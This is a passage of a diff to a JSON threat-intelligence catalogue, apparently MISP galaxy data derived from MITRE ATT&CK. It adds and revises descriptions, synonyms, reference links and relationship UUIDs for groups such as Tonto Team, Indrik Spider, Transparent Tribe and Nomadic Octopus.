+ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?",
+ "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html",
+ "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf",
+ "https://www.secureworks.com/research/threat-profiles/bronze-huntley",
+ "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/"
+ ],
+ "synonyms": [
+ "Tonto Team",
+ "Earth Akhlut",
+ "BRONZE HUNTLEY",
+ "CactusPete",
+ "Karma Panda"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "ec9e00dd-0313-4d5b-8105-c20aa47abffc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "65ffc206-d7c1-45b3-b543-f6b726e7840d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b76b2d94-60e4-4107-a903-4a3a7622fb3b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b63970b7-ddfb-4aee-97b1-80d335e033a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "c5b81590-6814-4d2a-8baa-15c4b6c7f960",
+ "value": "Tonto Team - G0131"
+ },
{
"description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)",
"meta": {
@@ -6777,15 +7138,18 @@
"value": "Fox Kitten - G0117"
},
{
- "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018) ",
+ "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)",
"meta": {
"external_id": "G0119",
"refs": [
"https://attack.mitre.org/groups/G0119",
- "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"
+ "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
+ "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/",
+ "https://home.treasury.gov/news/press-releases/sm845"
],
"synonyms": [
- "Indrik Spider"
+ "Indrik Spider",
+ "Evil Corp"
]
},
"related": [
@@ -6872,6 +7236,104 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "46cbafbc-8907-42d3-9002-5327c26f8927",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "01e28736-2ffc-455b-9880-ed4d1407ae07",
@@ -7073,13 +7535,6 @@
]
},
"related": [
- {
- "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"tags": [
@@ -7373,11 +7828,327 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "420ac20b-f2b9-42b8-aa1a-6d4b72895ca4",
"value": "Mustang Panda - G0129"
},
+ {
+ "description": "\n[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)",
+ "meta": {
+ "external_id": "G0133",
+ "refs": [
+ "https://attack.mitre.org/groups/G0133",
+ "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html",
+ "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
+ "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf",
+ "https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia"
+ ],
+ "synonyms": [
+ "Nomadic Octopus",
+ "DustSquad"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e2031fd5-02c2-43d4-85e2-b64f474530c2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "fed4f0a2-4347-4530-b0f5-6dfd49b29172",
+ "value": "Nomadic Octopus - G0133"
+ },
+ {
+ "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)",
+ "meta": {
+ "external_id": "G0134",
+ "refs": [
+ "https://attack.mitre.org/groups/G0134",
+ "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf",
+ "https://securelist.com/transparent-tribe-part-1/98127/",
+ "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html",
+ "https://www.secureworks.com/research/threat-profiles/copper-fieldstone",
+ "https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/",
+ "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+ ],
+ "synonyms": [
+ "Transparent Tribe",
+ "COPPER FIELDSTONE",
+ "APT36",
+ "Mythic Leopard",
+ "ProjectM"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5864e59f-eb4c-43ad-83b2-b5e4fae056c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "53ab35c2-d00e-491a-8753-41d35ae7e547",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6c2550d5-a01a-4bbb-a004-6ead348ba623",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e44e0985-bc65-4a8f-b578-211c858128e3",
+ "value": "Transparent Tribe - G0134"
+ },
+ {
+ "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)",
+ "meta": {
+ "external_id": "G0137",
+ "refs": [
+ "https://attack.mitre.org/groups/G0137",
+ "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
+ ],
+ "synonyms": [
+ "Ferocious Kitten"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "64764dc6-a032-495f-8250-1e4c06bdc163",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "532c6004-b1e8-415b-9516-f7c14ba783b1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "6566aac9-dad8-4332-ae73-20c23bad7f02",
+ "value": "Ferocious Kitten - G0137"
+ },
{
"description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)",
"meta": {
@@ -7454,6 +8225,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "c4d50cdf-87ce-407d-86d8-862883485842",
@@ -7617,6 +8395,20 @@
],
"type": "uses"
},
+ {
+ "dest-uuid": "93ae2edf-a598-4d2d-acd7-bcae0c021923",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
{
"dest-uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6",
"tags": [
@@ -7724,6 +8516,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -8199,6 +8998,13 @@
],
"type": "uses"
},
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
{
"dest-uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a",
"tags": [
@@ -8528,6 +9334,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
@@ -9183,13 +9996,27 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6",
"value": "Turla - G0010"
},
{
- "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)",
+ "description": "[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)",
"meta": {
"external_id": "G0050",
"refs": [
@@ -9199,7 +10026,7 @@
"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
"https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
- "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/"
+ "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf"
],
"synonyms": [
"APT32",
@@ -9845,6 +10672,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "8c1d01ff-fdc0-4586-99bd-c248e0761af5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "247cb30b-955f-42eb-97a5-a89fef69341e",
@@ -10097,6 +10938,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "cad3ba95-8c89-4146-ab10-08daa813f9de",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "7eda3dd8-b09b-4705-8090-c2ad9fb8c14d",
@@ -10796,6 +11644,132 @@
],
"type": "uses"
},
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f91162cc-1686-4ff8-8115-bf3f61a4cc7a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
{
"dest-uuid": "56660521-6db4-4e5a-a927-464f22954b7c",
"tags": [
@@ -11218,6 +12192,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -11351,6 +12332,13 @@
],
"type": "uses"
},
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
{
"dest-uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93",
"tags": [
@@ -11737,26 +12725,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
